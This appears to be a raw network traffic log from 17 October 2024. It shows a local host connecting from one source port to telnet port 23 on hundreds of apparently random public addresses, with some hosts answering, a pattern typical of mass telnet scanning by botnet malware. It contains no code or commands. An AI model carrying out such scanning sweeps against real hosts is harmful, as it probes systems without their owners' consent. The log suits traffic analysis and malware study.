Oct 17, 2024 02:19:41.011094093 CEST	20632	23	192.168.2.14	96.134.123.90
Oct 17, 2024 02:19:41.011100054 CEST	20632	23	192.168.2.14	50.153.78.201
Oct 17, 2024 02:19:41.011106014 CEST	20632	23	192.168.2.14	121.239.69.250
Oct 17, 2024 02:19:41.011118889 CEST	20632	23	192.168.2.14	31.29.72.152
Oct 17, 2024 02:19:41.011127949 CEST	20632	23	192.168.2.14	202.239.249.252
Oct 17, 2024 02:19:41.011128902 CEST	20632	23	192.168.2.14	31.53.188.159
Oct 17, 2024 02:19:41.011127949 CEST	20632	23	192.168.2.14	95.82.213.133
Oct 17, 2024 02:19:41.011157990 CEST	20632	23	192.168.2.14	198.113.151.180
Oct 17, 2024 02:19:41.011167049 CEST	20632	23	192.168.2.14	201.238.38.177
Oct 17, 2024 02:19:41.011168957 CEST	20632	23	192.168.2.14	59.58.222.38
Oct 17, 2024 02:19:41.011176109 CEST	20632	23	192.168.2.14	163.194.208.219
Oct 17, 2024 02:19:41.011178970 CEST	20632	23	192.168.2.14	137.181.24.77
Oct 17, 2024 02:19:41.011181116 CEST	20632	23	192.168.2.14	150.5.96.44
Oct 17, 2024 02:19:41.011181116 CEST	20632	23	192.168.2.14	151.198.199.203
Oct 17, 2024 02:19:41.011198997 CEST	20632	23	192.168.2.14	189.3.119.148
Oct 17, 2024 02:19:41.011198997 CEST	20632	23	192.168.2.14	169.140.99.129
Oct 17, 2024 02:19:41.011198997 CEST	20632	23	192.168.2.14	199.60.15.223
Oct 17, 2024 02:19:41.011198997 CEST	20632	23	192.168.2.14	117.94.21.113
Oct 17, 2024 02:19:41.011203051 CEST	20632	23	192.168.2.14	62.127.110.136
Oct 17, 2024 02:19:41.011198997 CEST	20632	23	192.168.2.14	77.245.231.73
Oct 17, 2024 02:19:41.011204004 CEST	20632	23	192.168.2.14	196.227.178.226
Oct 17, 2024 02:19:41.011215925 CEST	20632	23	192.168.2.14	203.209.9.212
Oct 17, 2024 02:19:41.011238098 CEST	20632	23	192.168.2.14	118.214.55.29
Oct 17, 2024 02:19:41.011238098 CEST	20632	23	192.168.2.14	190.136.101.163
Oct 17, 2024 02:19:41.011239052 CEST	20632	23	192.168.2.14	136.227.189.144
Oct 17, 2024 02:19:41.011238098 CEST	20632	23	192.168.2.14	150.51.149.135
Oct 17, 2024 02:19:41.011239052 CEST	20632	23	192.168.2.14	53.60.171.146
Oct 17, 2024 02:19:41.011240959 CEST	20632	23	192.168.2.14	168.27.60.56
Oct 17, 2024 02:19:41.011240959 CEST	20632	23	192.168.2.14	91.43.20.114
Oct 17, 2024 02:19:41.011240959 CEST	20632	23	192.168.2.14	94.248.155.238
Oct 17, 2024 02:19:41.011259079 CEST	20632	23	192.168.2.14	183.87.54.57
Oct 17, 2024 02:19:41.011261940 CEST	20632	23	192.168.2.14	78.102.147.43
Oct 17, 2024 02:19:41.011261940 CEST	20632	23	192.168.2.14	32.36.128.7
Oct 17, 2024 02:19:41.011279106 CEST	20632	23	192.168.2.14	106.91.61.118
Oct 17, 2024 02:19:41.011281967 CEST	20632	23	192.168.2.14	150.71.145.174
Oct 17, 2024 02:19:41.011290073 CEST	20632	23	192.168.2.14	77.97.240.156
Oct 17, 2024 02:19:41.011312962 CEST	20632	23	192.168.2.14	63.218.62.176
Oct 17, 2024 02:19:41.011315107 CEST	20632	23	192.168.2.14	4.232.213.222
Oct 17, 2024 02:19:41.011320114 CEST	20632	23	192.168.2.14	205.122.133.126
Oct 17, 2024 02:19:41.011320114 CEST	20632	23	192.168.2.14	191.85.225.200
Oct 17, 2024 02:19:41.011337042 CEST	20632	23	192.168.2.14	48.238.233.93
Oct 17, 2024 02:19:41.011348963 CEST	20632	23	192.168.2.14	72.174.139.232
Oct 17, 2024 02:19:41.011373043 CEST	20632	23	192.168.2.14	168.108.129.108
Oct 17, 2024 02:19:41.011390924 CEST	20632	23	192.168.2.14	126.157.133.226
Oct 17, 2024 02:19:41.011404037 CEST	20632	23	192.168.2.14	89.99.74.38
Oct 17, 2024 02:19:41.011404037 CEST	20632	23	192.168.2.14	150.87.235.211
Oct 17, 2024 02:19:41.011410952 CEST	20632	23	192.168.2.14	218.102.44.182
Oct 17, 2024 02:19:41.011410952 CEST	20632	23	192.168.2.14	106.8.44.126
Oct 17, 2024 02:19:41.011414051 CEST	20632	23	192.168.2.14	181.172.100.251
Oct 17, 2024 02:19:41.011414051 CEST	20632	23	192.168.2.14	124.83.236.185
Oct 17, 2024 02:19:41.011414051 CEST	20632	23	192.168.2.14	108.40.53.238
Oct 17, 2024 02:19:41.011414051 CEST	20632	23	192.168.2.14	118.207.113.95
Oct 17, 2024 02:19:41.011415958 CEST	20632	23	192.168.2.14	121.181.248.104
Oct 17, 2024 02:19:41.011414051 CEST	20632	23	192.168.2.14	24.22.96.147
Oct 17, 2024 02:19:41.011414051 CEST	20632	23	192.168.2.14	177.83.113.119
Oct 17, 2024 02:19:41.011414051 CEST	20632	23	192.168.2.14	110.235.244.252
Oct 17, 2024 02:19:41.011414051 CEST	20632	23	192.168.2.14	44.0.27.24
Oct 17, 2024 02:19:41.011420012 CEST	20632	23	192.168.2.14	139.157.87.192
Oct 17, 2024 02:19:41.011431932 CEST	20632	23	192.168.2.14	135.88.213.119
Oct 17, 2024 02:19:41.011449099 CEST	20632	23	192.168.2.14	218.245.240.48
Oct 17, 2024 02:19:41.011449099 CEST	20632	23	192.168.2.14	75.220.209.87
Oct 17, 2024 02:19:41.011449099 CEST	20632	23	192.168.2.14	86.92.126.88
Oct 17, 2024 02:19:41.011449099 CEST	20632	23	192.168.2.14	119.67.140.0
Oct 17, 2024 02:19:41.011449099 CEST	20632	23	192.168.2.14	70.110.244.190
Oct 17, 2024 02:19:41.011465073 CEST	20632	23	192.168.2.14	126.135.54.38
Oct 17, 2024 02:19:41.011468887 CEST	20632	23	192.168.2.14	132.225.79.229
Oct 17, 2024 02:19:41.011468887 CEST	20632	23	192.168.2.14	193.63.233.239
Oct 17, 2024 02:19:41.011507034 CEST	20632	23	192.168.2.14	192.56.159.137
Oct 17, 2024 02:19:41.011507034 CEST	20632	23	192.168.2.14	69.243.170.153
Oct 17, 2024 02:19:41.011511087 CEST	20632	23	192.168.2.14	198.106.74.182
Oct 17, 2024 02:19:41.011516094 CEST	20632	23	192.168.2.14	188.12.119.223
Oct 17, 2024 02:19:41.011516094 CEST	20632	23	192.168.2.14	108.209.113.162
Oct 17, 2024 02:19:41.011531115 CEST	20632	23	192.168.2.14	151.17.192.106
Oct 17, 2024 02:19:41.011531115 CEST	20632	23	192.168.2.14	178.189.101.69
Oct 17, 2024 02:19:41.011540890 CEST	20632	23	192.168.2.14	217.103.37.226
Oct 17, 2024 02:19:41.011558056 CEST	20632	23	192.168.2.14	35.213.245.138
Oct 17, 2024 02:19:41.011558056 CEST	20632	23	192.168.2.14	38.102.152.27
Oct 17, 2024 02:19:41.011570930 CEST	20632	23	192.168.2.14	2.232.185.135
Oct 17, 2024 02:19:41.011575937 CEST	20632	23	192.168.2.14	185.105.217.0
Oct 17, 2024 02:19:41.011583090 CEST	20632	23	192.168.2.14	169.203.54.208
Oct 17, 2024 02:19:41.011584997 CEST	20632	23	192.168.2.14	180.205.58.224
Oct 17, 2024 02:19:41.011584997 CEST	20632	23	192.168.2.14	158.138.12.32
Oct 17, 2024 02:19:41.011604071 CEST	20632	23	192.168.2.14	9.92.253.95
Oct 17, 2024 02:19:41.011605024 CEST	20632	23	192.168.2.14	42.159.22.115
Oct 17, 2024 02:19:41.011605024 CEST	20632	23	192.168.2.14	38.58.135.129
Oct 17, 2024 02:19:41.011610985 CEST	20632	23	192.168.2.14	191.3.112.11
Oct 17, 2024 02:19:41.011617899 CEST	20632	23	192.168.2.14	150.18.129.240
Oct 17, 2024 02:19:41.011630058 CEST	20632	23	192.168.2.14	165.252.226.121
Oct 17, 2024 02:19:41.011651993 CEST	20632	23	192.168.2.14	73.20.247.58
Oct 17, 2024 02:19:41.011652946 CEST	20632	23	192.168.2.14	157.89.33.0
Oct 17, 2024 02:19:41.011651993 CEST	20632	23	192.168.2.14	213.85.89.87
Oct 17, 2024 02:19:41.011652946 CEST	20632	23	192.168.2.14	53.34.254.201
Oct 17, 2024 02:19:41.011658907 CEST	20632	23	192.168.2.14	216.165.66.233
Oct 17, 2024 02:19:41.011670113 CEST	20632	23	192.168.2.14	76.120.53.20
Oct 17, 2024 02:19:41.011670113 CEST	20632	23	192.168.2.14	190.85.25.235
Oct 17, 2024 02:19:41.011670113 CEST	20632	23	192.168.2.14	13.26.103.55
Oct 17, 2024 02:19:41.011683941 CEST	20632	23	192.168.2.14	195.202.138.177
Oct 17, 2024 02:19:41.011684895 CEST	20632	23	192.168.2.14	37.249.224.181
Oct 17, 2024 02:19:41.011691093 CEST	20632	23	192.168.2.14	38.80.57.113
Oct 17, 2024 02:19:41.011698008 CEST	20632	23	192.168.2.14	116.132.72.45
Oct 17, 2024 02:19:41.011698961 CEST	20632	23	192.168.2.14	43.36.80.151
Oct 17, 2024 02:19:41.011709929 CEST	20632	23	192.168.2.14	119.104.240.28
Oct 17, 2024 02:19:41.011713028 CEST	20632	23	192.168.2.14	35.111.185.174
Oct 17, 2024 02:19:41.011715889 CEST	20632	23	192.168.2.14	106.1.161.25
Oct 17, 2024 02:19:41.011727095 CEST	20632	23	192.168.2.14	52.10.16.1
Oct 17, 2024 02:19:41.011729956 CEST	20632	23	192.168.2.14	36.46.105.191
Oct 17, 2024 02:19:41.011730909 CEST	20632	23	192.168.2.14	132.59.36.43
Oct 17, 2024 02:19:41.011746883 CEST	20632	23	192.168.2.14	115.198.92.20
Oct 17, 2024 02:19:41.011746883 CEST	20632	23	192.168.2.14	49.123.74.230
Oct 17, 2024 02:19:41.011749029 CEST	20632	23	192.168.2.14	77.76.26.60
Oct 17, 2024 02:19:41.011754036 CEST	20632	23	192.168.2.14	19.40.175.9
Oct 17, 2024 02:19:41.011765957 CEST	20632	23	192.168.2.14	163.23.92.123
Oct 17, 2024 02:19:41.011768103 CEST	20632	23	192.168.2.14	139.3.81.195
Oct 17, 2024 02:19:41.011765957 CEST	20632	23	192.168.2.14	184.213.128.143
Oct 17, 2024 02:19:41.011780977 CEST	20632	23	192.168.2.14	117.5.25.159
Oct 17, 2024 02:19:41.011780977 CEST	20632	23	192.168.2.14	122.215.157.189
Oct 17, 2024 02:19:41.011797905 CEST	20632	23	192.168.2.14	2.37.2.189
Oct 17, 2024 02:19:41.011797905 CEST	20632	23	192.168.2.14	180.6.254.208
Oct 17, 2024 02:19:41.011821985 CEST	20632	23	192.168.2.14	107.107.126.61
Oct 17, 2024 02:19:41.011827946 CEST	20632	23	192.168.2.14	122.163.80.205
Oct 17, 2024 02:19:41.011830091 CEST	20632	23	192.168.2.14	113.149.64.136
Oct 17, 2024 02:19:41.011836052 CEST	20632	23	192.168.2.14	188.134.107.163
Oct 17, 2024 02:19:41.011852026 CEST	20632	23	192.168.2.14	53.110.129.248
Oct 17, 2024 02:19:41.011863947 CEST	20632	23	192.168.2.14	42.236.69.75
Oct 17, 2024 02:19:41.011863947 CEST	20632	23	192.168.2.14	128.250.224.78
Oct 17, 2024 02:19:41.011881113 CEST	20632	23	192.168.2.14	9.86.196.46
Oct 17, 2024 02:19:41.011885881 CEST	20632	23	192.168.2.14	93.177.209.14
Oct 17, 2024 02:19:41.011885881 CEST	20632	23	192.168.2.14	48.235.8.198
Oct 17, 2024 02:19:41.011885881 CEST	20632	23	192.168.2.14	87.124.93.8
Oct 17, 2024 02:19:41.011895895 CEST	20632	23	192.168.2.14	179.34.249.69
Oct 17, 2024 02:19:41.011900902 CEST	20632	23	192.168.2.14	125.119.136.164
Oct 17, 2024 02:19:41.011900902 CEST	20632	23	192.168.2.14	77.116.244.161
Oct 17, 2024 02:19:41.011913061 CEST	20632	23	192.168.2.14	81.140.194.174
Oct 17, 2024 02:19:41.011919022 CEST	20632	23	192.168.2.14	62.145.13.217
Oct 17, 2024 02:19:41.011923075 CEST	20632	23	192.168.2.14	48.46.130.117
Oct 17, 2024 02:19:41.011929989 CEST	20632	23	192.168.2.14	4.202.208.172
Oct 17, 2024 02:19:41.011940002 CEST	20632	23	192.168.2.14	126.56.148.42
Oct 17, 2024 02:19:41.011940002 CEST	20632	23	192.168.2.14	8.49.162.197
Oct 17, 2024 02:19:41.011949062 CEST	20632	23	192.168.2.14	156.117.15.216
Oct 17, 2024 02:19:41.011949062 CEST	20632	23	192.168.2.14	192.175.75.59
Oct 17, 2024 02:19:41.011953115 CEST	20632	23	192.168.2.14	171.185.61.250
Oct 17, 2024 02:19:41.011961937 CEST	20632	23	192.168.2.14	144.31.61.66
Oct 17, 2024 02:19:41.011972904 CEST	20632	23	192.168.2.14	78.216.209.53
Oct 17, 2024 02:19:41.011972904 CEST	20632	23	192.168.2.14	71.195.223.197
Oct 17, 2024 02:19:41.011976957 CEST	20632	23	192.168.2.14	132.187.83.109
Oct 17, 2024 02:19:41.011976957 CEST	20632	23	192.168.2.14	198.147.205.205
Oct 17, 2024 02:19:41.011987925 CEST	20632	23	192.168.2.14	18.80.12.213
Oct 17, 2024 02:19:41.011987925 CEST	20632	23	192.168.2.14	159.82.173.142
Oct 17, 2024 02:19:41.011989117 CEST	20632	23	192.168.2.14	155.239.64.76
Oct 17, 2024 02:19:41.011991024 CEST	20632	23	192.168.2.14	131.114.119.244
Oct 17, 2024 02:19:41.012001038 CEST	20632	23	192.168.2.14	187.135.114.88
Oct 17, 2024 02:19:41.012018919 CEST	20632	23	192.168.2.14	136.254.198.157
Oct 17, 2024 02:19:41.012028933 CEST	20632	23	192.168.2.14	83.138.151.150
Oct 17, 2024 02:19:41.012037992 CEST	20632	23	192.168.2.14	210.90.77.206
Oct 17, 2024 02:19:41.012052059 CEST	20632	23	192.168.2.14	60.191.243.43
Oct 17, 2024 02:19:41.012052059 CEST	20632	23	192.168.2.14	156.239.22.190
Oct 17, 2024 02:19:41.012052059 CEST	20632	23	192.168.2.14	60.12.176.134
Oct 17, 2024 02:19:41.012065887 CEST	20632	23	192.168.2.14	62.98.183.194
Oct 17, 2024 02:19:41.012073040 CEST	20632	23	192.168.2.14	38.42.250.254
Oct 17, 2024 02:19:41.012079000 CEST	20632	23	192.168.2.14	151.148.108.48
Oct 17, 2024 02:19:41.012082100 CEST	20632	23	192.168.2.14	66.179.168.236
Oct 17, 2024 02:19:41.012098074 CEST	20632	23	192.168.2.14	125.247.151.230
Oct 17, 2024 02:19:41.012099028 CEST	20632	23	192.168.2.14	158.238.37.85
Oct 17, 2024 02:19:41.012113094 CEST	20632	23	192.168.2.14	99.69.124.0
Oct 17, 2024 02:19:41.012125015 CEST	20632	23	192.168.2.14	80.96.110.231
Oct 17, 2024 02:19:41.012129068 CEST	20632	23	192.168.2.14	220.34.35.118
Oct 17, 2024 02:19:41.012129068 CEST	20632	23	192.168.2.14	179.6.178.79
Oct 17, 2024 02:19:41.012129068 CEST	20632	23	192.168.2.14	114.196.95.96
Oct 17, 2024 02:19:41.012129068 CEST	20632	23	192.168.2.14	87.110.186.115
Oct 17, 2024 02:19:41.012156963 CEST	20632	23	192.168.2.14	197.98.168.86
Oct 17, 2024 02:19:41.012159109 CEST	20632	23	192.168.2.14	141.238.147.105
Oct 17, 2024 02:19:41.012161970 CEST	20632	23	192.168.2.14	97.203.151.25
Oct 17, 2024 02:19:41.012162924 CEST	20632	23	192.168.2.14	141.218.185.57
Oct 17, 2024 02:19:41.012164116 CEST	20632	23	192.168.2.14	210.51.100.164
Oct 17, 2024 02:19:41.012164116 CEST	20632	23	192.168.2.14	223.5.29.42
Oct 17, 2024 02:19:41.012164116 CEST	20632	23	192.168.2.14	183.198.206.101
Oct 17, 2024 02:19:41.012164116 CEST	20632	23	192.168.2.14	151.245.10.243
Oct 17, 2024 02:19:41.012164116 CEST	20632	23	192.168.2.14	41.34.151.134
Oct 17, 2024 02:19:41.012176037 CEST	20632	23	192.168.2.14	160.225.192.106
Oct 17, 2024 02:19:41.012178898 CEST	20632	23	192.168.2.14	94.190.51.127
Oct 17, 2024 02:19:41.012178898 CEST	20632	23	192.168.2.14	124.10.137.202
Oct 17, 2024 02:19:41.012178898 CEST	20632	23	192.168.2.14	109.222.72.206
Oct 17, 2024 02:19:41.012178898 CEST	20632	23	192.168.2.14	84.91.236.53
Oct 17, 2024 02:19:41.012178898 CEST	20632	23	192.168.2.14	93.142.237.218
Oct 17, 2024 02:19:41.012178898 CEST	20632	23	192.168.2.14	221.153.106.153
Oct 17, 2024 02:19:41.012214899 CEST	20632	23	192.168.2.14	112.249.126.91
Oct 17, 2024 02:19:41.012214899 CEST	20632	23	192.168.2.14	191.198.199.202
Oct 17, 2024 02:19:41.012214899 CEST	20632	23	192.168.2.14	115.118.31.147
Oct 17, 2024 02:19:41.012218952 CEST	20632	23	192.168.2.14	19.244.155.162
Oct 17, 2024 02:19:41.012219906 CEST	20632	23	192.168.2.14	155.151.222.178
Oct 17, 2024 02:19:41.012221098 CEST	20632	23	192.168.2.14	103.237.8.8
Oct 17, 2024 02:19:41.012221098 CEST	20632	23	192.168.2.14	110.80.67.223
Oct 17, 2024 02:19:41.012223005 CEST	20632	23	192.168.2.14	146.38.3.24
Oct 17, 2024 02:19:41.012223005 CEST	20632	23	192.168.2.14	45.74.156.239
Oct 17, 2024 02:19:41.012223005 CEST	20632	23	192.168.2.14	190.4.9.232
Oct 17, 2024 02:19:41.012223005 CEST	20632	23	192.168.2.14	105.248.33.107
Oct 17, 2024 02:19:41.012236118 CEST	20632	23	192.168.2.14	54.181.75.160
Oct 17, 2024 02:19:41.012237072 CEST	20632	23	192.168.2.14	77.171.191.147
Oct 17, 2024 02:19:41.012237072 CEST	20632	23	192.168.2.14	14.162.0.144
Oct 17, 2024 02:19:41.012238979 CEST	20632	23	192.168.2.14	95.69.253.10
Oct 17, 2024 02:19:41.012238979 CEST	20632	23	192.168.2.14	162.168.145.220
Oct 17, 2024 02:19:41.012238979 CEST	20632	23	192.168.2.14	94.65.86.116
Oct 17, 2024 02:19:41.012239933 CEST	20632	23	192.168.2.14	69.102.89.69
Oct 17, 2024 02:19:41.012239933 CEST	20632	23	192.168.2.14	202.66.107.47
Oct 17, 2024 02:19:41.012239933 CEST	20632	23	192.168.2.14	69.233.20.61
Oct 17, 2024 02:19:41.012259960 CEST	20632	23	192.168.2.14	70.189.118.211
Oct 17, 2024 02:19:41.012259960 CEST	20632	23	192.168.2.14	115.65.143.122
Oct 17, 2024 02:19:41.012259960 CEST	20632	23	192.168.2.14	151.190.129.209
Oct 17, 2024 02:19:41.012264967 CEST	20632	23	192.168.2.14	103.213.33.45
Oct 17, 2024 02:19:41.012264967 CEST	20632	23	192.168.2.14	78.203.131.104
Oct 17, 2024 02:19:41.012274027 CEST	20632	23	192.168.2.14	9.129.66.176
Oct 17, 2024 02:19:41.012275934 CEST	20632	23	192.168.2.14	168.247.163.104
Oct 17, 2024 02:19:41.012276888 CEST	20632	23	192.168.2.14	57.197.216.207
Oct 17, 2024 02:19:41.012280941 CEST	20632	23	192.168.2.14	106.91.86.96
Oct 17, 2024 02:19:41.012280941 CEST	20632	23	192.168.2.14	162.108.61.130
Oct 17, 2024 02:19:41.012280941 CEST	20632	23	192.168.2.14	109.141.17.248
Oct 17, 2024 02:19:41.012280941 CEST	20632	23	192.168.2.14	45.133.49.235
Oct 17, 2024 02:19:41.012280941 CEST	20632	23	192.168.2.14	117.108.68.93
Oct 17, 2024 02:19:41.012295008 CEST	20632	23	192.168.2.14	121.69.196.140
Oct 17, 2024 02:19:41.012295008 CEST	20632	23	192.168.2.14	176.127.212.221
Oct 17, 2024 02:19:41.012295008 CEST	20632	23	192.168.2.14	111.246.172.202
Oct 17, 2024 02:19:41.012296915 CEST	20632	23	192.168.2.14	8.134.47.169
Oct 17, 2024 02:19:41.012298107 CEST	20632	23	192.168.2.14	210.129.166.123
Oct 17, 2024 02:19:41.012299061 CEST	20632	23	192.168.2.14	119.58.44.86
Oct 17, 2024 02:19:41.012299061 CEST	20632	23	192.168.2.14	61.133.158.61
Oct 17, 2024 02:19:41.012299061 CEST	20632	23	192.168.2.14	120.113.5.90
Oct 17, 2024 02:19:41.012320042 CEST	20632	23	192.168.2.14	93.96.79.149
Oct 17, 2024 02:19:41.012320042 CEST	20632	23	192.168.2.14	199.141.4.160
Oct 17, 2024 02:19:41.012340069 CEST	20632	23	192.168.2.14	154.204.103.231
Oct 17, 2024 02:19:41.012341976 CEST	20632	23	192.168.2.14	2.183.103.12
Oct 17, 2024 02:19:41.012341976 CEST	20632	23	192.168.2.14	106.83.107.159
Oct 17, 2024 02:19:41.012342930 CEST	20632	23	192.168.2.14	171.63.60.73
Oct 17, 2024 02:19:41.012341976 CEST	20632	23	192.168.2.14	95.238.235.245
Oct 17, 2024 02:19:41.012343884 CEST	20632	23	192.168.2.14	160.244.207.137
Oct 17, 2024 02:19:41.012342930 CEST	20632	23	192.168.2.14	141.32.87.10
Oct 17, 2024 02:19:41.012345076 CEST	20632	23	192.168.2.14	139.247.205.166
Oct 17, 2024 02:19:41.012343884 CEST	20632	23	192.168.2.14	157.231.195.241
Oct 17, 2024 02:19:41.012345076 CEST	20632	23	192.168.2.14	183.155.79.206
Oct 17, 2024 02:19:41.012343884 CEST	20632	23	192.168.2.14	124.138.18.195
Oct 17, 2024 02:19:41.012358904 CEST	20632	23	192.168.2.14	106.185.130.18
Oct 17, 2024 02:19:41.012360096 CEST	20632	23	192.168.2.14	151.41.97.229
Oct 17, 2024 02:19:41.012360096 CEST	20632	23	192.168.2.14	58.238.58.95
Oct 17, 2024 02:19:41.012365103 CEST	20632	23	192.168.2.14	137.43.97.39
Oct 17, 2024 02:19:41.012365103 CEST	20632	23	192.168.2.14	174.100.134.66
Oct 17, 2024 02:19:41.012365103 CEST	20632	23	192.168.2.14	25.1.11.227
Oct 17, 2024 02:19:41.012365103 CEST	20632	23	192.168.2.14	59.210.249.197
Oct 17, 2024 02:19:41.012365103 CEST	20632	23	192.168.2.14	101.43.61.153
Oct 17, 2024 02:19:41.012365103 CEST	20632	23	192.168.2.14	184.71.29.116
Oct 17, 2024 02:19:41.012368917 CEST	20632	23	192.168.2.14	163.114.88.228
Oct 17, 2024 02:19:41.012368917 CEST	20632	23	192.168.2.14	186.121.90.236
Oct 17, 2024 02:19:41.012382030 CEST	20632	23	192.168.2.14	171.32.134.193
Oct 17, 2024 02:19:41.012382030 CEST	20632	23	192.168.2.14	203.249.191.172
Oct 17, 2024 02:19:41.012382030 CEST	20632	23	192.168.2.14	182.233.62.2
Oct 17, 2024 02:19:41.012392998 CEST	20632	23	192.168.2.14	76.150.92.166
Oct 17, 2024 02:19:41.012393951 CEST	20632	23	192.168.2.14	181.114.203.134
Oct 17, 2024 02:19:41.012402058 CEST	20632	23	192.168.2.14	126.21.118.155
Oct 17, 2024 02:19:41.012403011 CEST	20632	23	192.168.2.14	46.226.185.56
Oct 17, 2024 02:19:41.012403965 CEST	20632	23	192.168.2.14	31.129.11.66
Oct 17, 2024 02:19:41.012408972 CEST	20632	23	192.168.2.14	149.183.118.96
Oct 17, 2024 02:19:41.012408972 CEST	20632	23	192.168.2.14	52.79.171.151
Oct 17, 2024 02:19:41.012408972 CEST	20632	23	192.168.2.14	154.152.84.215
Oct 17, 2024 02:19:41.012408972 CEST	20632	23	192.168.2.14	4.225.41.15
Oct 17, 2024 02:19:41.012413025 CEST	20632	23	192.168.2.14	8.64.48.245
Oct 17, 2024 02:19:41.012413025 CEST	20632	23	192.168.2.14	109.164.225.54
Oct 17, 2024 02:19:41.012422085 CEST	20632	23	192.168.2.14	2.159.64.179
Oct 17, 2024 02:19:41.012422085 CEST	20632	23	192.168.2.14	140.20.72.170
Oct 17, 2024 02:19:41.012425900 CEST	20632	23	192.168.2.14	194.27.56.66
Oct 17, 2024 02:19:41.012425900 CEST	20632	23	192.168.2.14	211.2.99.42
Oct 17, 2024 02:19:41.012425900 CEST	20632	23	192.168.2.14	59.81.230.26
Oct 17, 2024 02:19:41.012428999 CEST	20632	23	192.168.2.14	216.4.61.5
Oct 17, 2024 02:19:41.012428999 CEST	20632	23	192.168.2.14	40.64.66.136
Oct 17, 2024 02:19:41.012428999 CEST	20632	23	192.168.2.14	88.121.69.90
Oct 17, 2024 02:19:41.012428999 CEST	20632	23	192.168.2.14	157.157.151.10
Oct 17, 2024 02:19:41.012432098 CEST	20632	23	192.168.2.14	143.53.27.244
Oct 17, 2024 02:19:41.012432098 CEST	20632	23	192.168.2.14	183.86.246.22
Oct 17, 2024 02:19:41.012439013 CEST	20632	23	192.168.2.14	27.185.86.40
Oct 17, 2024 02:19:41.012439013 CEST	20632	23	192.168.2.14	27.107.53.98
Oct 17, 2024 02:19:41.012439966 CEST	20632	23	192.168.2.14	52.180.67.214
Oct 17, 2024 02:19:41.012439966 CEST	20632	23	192.168.2.14	87.157.32.23
Oct 17, 2024 02:19:41.012439966 CEST	20632	23	192.168.2.14	198.219.149.163
Oct 17, 2024 02:19:41.012439966 CEST	20632	23	192.168.2.14	97.172.187.141
Oct 17, 2024 02:19:41.012439966 CEST	20632	23	192.168.2.14	190.194.67.184
Oct 17, 2024 02:19:41.012444019 CEST	20632	23	192.168.2.14	8.5.124.181
Oct 17, 2024 02:19:41.012444019 CEST	20632	23	192.168.2.14	107.114.61.167
Oct 17, 2024 02:19:41.012447119 CEST	20632	23	192.168.2.14	166.134.96.28
Oct 17, 2024 02:19:41.012447119 CEST	20632	23	192.168.2.14	106.211.231.196
Oct 17, 2024 02:19:41.012447119 CEST	20632	23	192.168.2.14	166.56.122.64
Oct 17, 2024 02:19:41.012447119 CEST	20632	23	192.168.2.14	118.72.53.80
Oct 17, 2024 02:19:41.012447119 CEST	20632	23	192.168.2.14	80.192.180.216
Oct 17, 2024 02:19:41.012447119 CEST	20632	23	192.168.2.14	200.41.125.147
Oct 17, 2024 02:19:41.012447119 CEST	20632	23	192.168.2.14	195.95.78.139
Oct 17, 2024 02:19:41.012447119 CEST	20632	23	192.168.2.14	147.80.206.195
Oct 17, 2024 02:19:41.012456894 CEST	20632	23	192.168.2.14	156.238.108.175
Oct 17, 2024 02:19:41.012456894 CEST	20632	23	192.168.2.14	131.11.18.230
Oct 17, 2024 02:19:41.012474060 CEST	20632	23	192.168.2.14	125.85.140.17
Oct 17, 2024 02:19:41.012482882 CEST	20632	23	192.168.2.14	169.111.181.240
Oct 17, 2024 02:19:41.016210079 CEST	23	20632	144.113.203.170	192.168.2.14
Oct 17, 2024 02:19:41.016290903 CEST	20632	23	192.168.2.14	144.113.203.170
Oct 17, 2024 02:19:41.016318083 CEST	23	20632	177.241.76.238	192.168.2.14
Oct 17, 2024 02:19:41.016349077 CEST	23	20632	200.71.163.110	192.168.2.14
Oct 17, 2024 02:19:41.016379118 CEST	23	20632	69.224.179.9	192.168.2.14
Oct 17, 2024 02:19:41.016381025 CEST	20632	23	192.168.2.14	177.241.76.238
Oct 17, 2024 02:19:41.016410112 CEST	23	20632	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:41.016422033 CEST	20632	23	192.168.2.14	200.71.163.110
Oct 17, 2024 02:19:41.016422033 CEST	20632	23	192.168.2.14	69.224.179.9
Oct 17, 2024 02:19:41.016438961 CEST	23	20632	43.102.170.193	192.168.2.14
Oct 17, 2024 02:19:41.016449928 CEST	20632	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:41.016468048 CEST	23	20632	82.45.209.48	192.168.2.14
Oct 17, 2024 02:19:41.016483068 CEST	20632	23	192.168.2.14	43.102.170.193
Oct 17, 2024 02:19:41.016499043 CEST	23	20632	156.185.168.182	192.168.2.14
Oct 17, 2024 02:19:41.016535997 CEST	20632	23	192.168.2.14	82.45.209.48
Oct 17, 2024 02:19:41.016541004 CEST	20632	23	192.168.2.14	156.185.168.182
Oct 17, 2024 02:19:41.016551018 CEST	23	20632	117.10.250.66	192.168.2.14
Oct 17, 2024 02:19:41.016583920 CEST	23	20632	82.62.68.31	192.168.2.14
Oct 17, 2024 02:19:41.016613960 CEST	23	20632	48.222.29.178	192.168.2.14
Oct 17, 2024 02:19:41.016643047 CEST	23	20632	202.138.146.13	192.168.2.14
Oct 17, 2024 02:19:41.016647100 CEST	20632	23	192.168.2.14	117.10.250.66
Oct 17, 2024 02:19:41.016652107 CEST	20632	23	192.168.2.14	48.222.29.178
Oct 17, 2024 02:19:41.016661882 CEST	20632	23	192.168.2.14	82.62.68.31
Oct 17, 2024 02:19:41.016680002 CEST	20632	23	192.168.2.14	202.138.146.13
Oct 17, 2024 02:19:41.017057896 CEST	23	20632	52.133.6.178	192.168.2.14
Oct 17, 2024 02:19:41.017090082 CEST	23	20632	98.213.214.178	192.168.2.14
Oct 17, 2024 02:19:41.017121077 CEST	23	20632	76.152.50.5	192.168.2.14
Oct 17, 2024 02:19:41.017132998 CEST	20632	23	192.168.2.14	98.213.214.178
Oct 17, 2024 02:19:41.017170906 CEST	23	20632	39.117.241.204	192.168.2.14
Oct 17, 2024 02:19:41.017172098 CEST	20632	23	192.168.2.14	52.133.6.178
Oct 17, 2024 02:19:41.017172098 CEST	20632	23	192.168.2.14	76.152.50.5
Oct 17, 2024 02:19:41.017199993 CEST	23	20632	111.150.9.248	192.168.2.14
Oct 17, 2024 02:19:41.017227888 CEST	23	20632	88.241.38.195	192.168.2.14
Oct 17, 2024 02:19:41.017283916 CEST	23	20632	94.45.60.43	192.168.2.14
Oct 17, 2024 02:19:41.017286062 CEST	20632	23	192.168.2.14	39.117.241.204
Oct 17, 2024 02:19:41.017286062 CEST	20632	23	192.168.2.14	88.241.38.195
Oct 17, 2024 02:19:41.017297983 CEST	20632	23	192.168.2.14	111.150.9.248
